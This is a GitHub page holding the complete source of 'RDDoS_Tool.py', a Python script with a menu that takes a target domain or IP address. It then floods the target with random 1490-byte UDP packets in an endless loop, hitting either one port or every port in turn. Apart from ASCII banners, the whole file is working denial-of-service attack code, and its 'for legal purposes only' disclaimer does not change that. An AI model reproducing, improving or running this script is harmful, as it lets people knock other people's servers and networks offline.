-
Notifications
You must be signed in to change notification settings - Fork 46
/
Copy pathRDDoS_Tool.py
153 lines (120 loc) · 5.26 KB
/
RDDoS_Tool.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
"""
Copyright (c) 2020-2021 Vladimir Rogozin ([email protected])
Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt
or copy at http://opensource.org/licenses/MIT)
"""
# Import.
from platform import system
from tqdm.auto import tqdm
import os
import time
import random
import socket
import pyfiglet
# Version.
version = "1.2"
# Platform info
uname=system()
if uname == "Windows":
cmd_clear_clear = 'cls'
else:
cmd_clear = 'clear'
os.system(cmd_clear)
# Socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
# RDDoS_Tool
while True:
# UI.
print("\033[91m _____ \033[0m \033[95m ______ ______ __ \033[0m ______) Version: " + version)
print("\033[91m (, / ) /)\033[0m \033[95m(, / ) (, / ) (__/ )\033[0m (, / /)")
print("\033[91m /__ / _ _(/\033[0m \033[95m / / / / ___ / \033[0m / ______// ")
print("\033[91m ) / \\__(/_(_(_\033[0m\033[95m _/___ /_ _/___ /_(_)) / \033[0m ) / (_)(_)(/_")
print("\033[91m(_/\033[0m \033[95m(_/___ / (_/___ / (_/ \033[0m (_/\n")
print(" Author: Mr.\033[91mRed\033[0m")
print(" Github: https://github.com/Red-company/RDDoS_Tool")
print(' For legal purposes only')
print("\033[92;1m")
print("1. Website Domain\n2. IP Address\n3. About\n4. Exit")
print('\033[0m')
# Input.
opt = str(input("\n> "))
# Selection.
if opt == '1':
domain = str(input("Domain:"))
ip = socket.gethostbyname(domain)
break
elif opt == '2':
ip = str(input("IP Address: "))
break
elif opt == '3':
print("\n\033[101mEasy. .سهل\033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[0m \033[92m_____\033[0m")
print(" \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m\033[0m \033[92m.-' '-.\033[0m")
print("\033[101mOpen. .افتح\033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[92m.'\033[91m____\033[0m secure\033[92m'.\033[0m")
print(" \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[92m/ \033[91m| _ \\\033[0m \033[93m__\033[0m \033[92m\\\033[0m")
print("\033[101mSecure. .يؤمن\033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[101m \033[0m \033[92m;\033[0m r \033[91m| |_) /\033[0m\033[93m/ o\\\033[0m t \033[92m;\033[0m")
print(" \033[92m|\033[0m e \033[91m| _ <\033[0m \033[93m\\__/\033[0m e \033[92m|\033[0m")
print("RedDDoS Tool is an open source tool for \033[92m;\033[0m d \033[91m|_| \\ \\\033[0m \033[93m<|\033[0m a \033[92m;\033[0m")
print("penetration. You can test networks/servers/any \033[92m\\ \033[91m\\/\033[0m \033[93m<|\033[0m m\033[92m/\033[0m")
print("other devices with it. \033[92m'.\033[0m member \033[93m<|\033[0m \033[92m.'\033[0m")
print(" \033[92m'-._____.-'\033[0m")
print("Author of the program is not responsible for")
print("it's usage, everybody MUST use it ONLY in member-id: 'rst-00000002'")
print("legit cases.")
print("\nFor more information visit project's site.")
goon = input("\n\n\n\n\n\n\nPress Enter to continue.")
os.system(cmd_clear)
elif opt == '4':
exit()
else:
print('\033[91mInvaild Choice!\033[0m')
time.sleep(2)
os.system(cmd_clear)
# Port selection.
port_mode = False # If 'False' all ports will be use, if 'True' - certain.
port = 2
while 1:
port_bool = str(input("Certain port? [y/n]: "))
if (port_bool == "y") or (port_bool == "Y"):
port_mode = True
port = int(input("Port: "))
break
elif (port_bool == "n") or (port_bool == "N"):
break
else:
print('\033[91mInvaild Choice!\033[0m')
time.sleep(2)
# Starting working.
os.system(cmd_clear)
print('\033[36;2mINITIALIZING....')
time.sleep(1)
print('STARTING...')
time.sleep(4)
sent = 0
if port_mode == False: # All ports.
try:
while True:
if port == 65534:
port = 1
elif port == 1900:
port = 1901
sock.sendto(bytes, (ip, port))
sent += 1
port += 1
print("\033[32;1mSent %s packets to %s through port:%s"%(sent, ip, port))
except:
print('\n\033[31;1mExited\033[0m')
elif port_mode == True: # Certain port.
if port < 2:
port = 2
elif port == 65534:
port = 2
elif port == 1900:
port = 1901
try:
while True:
sock.sendto(bytes, (ip, port))
sent += 1
print("\033[32;1mSent %s packets to %s through port:%s"%(sent, ip, port))
except:
print('\n\033[31;1mExited\033[0m')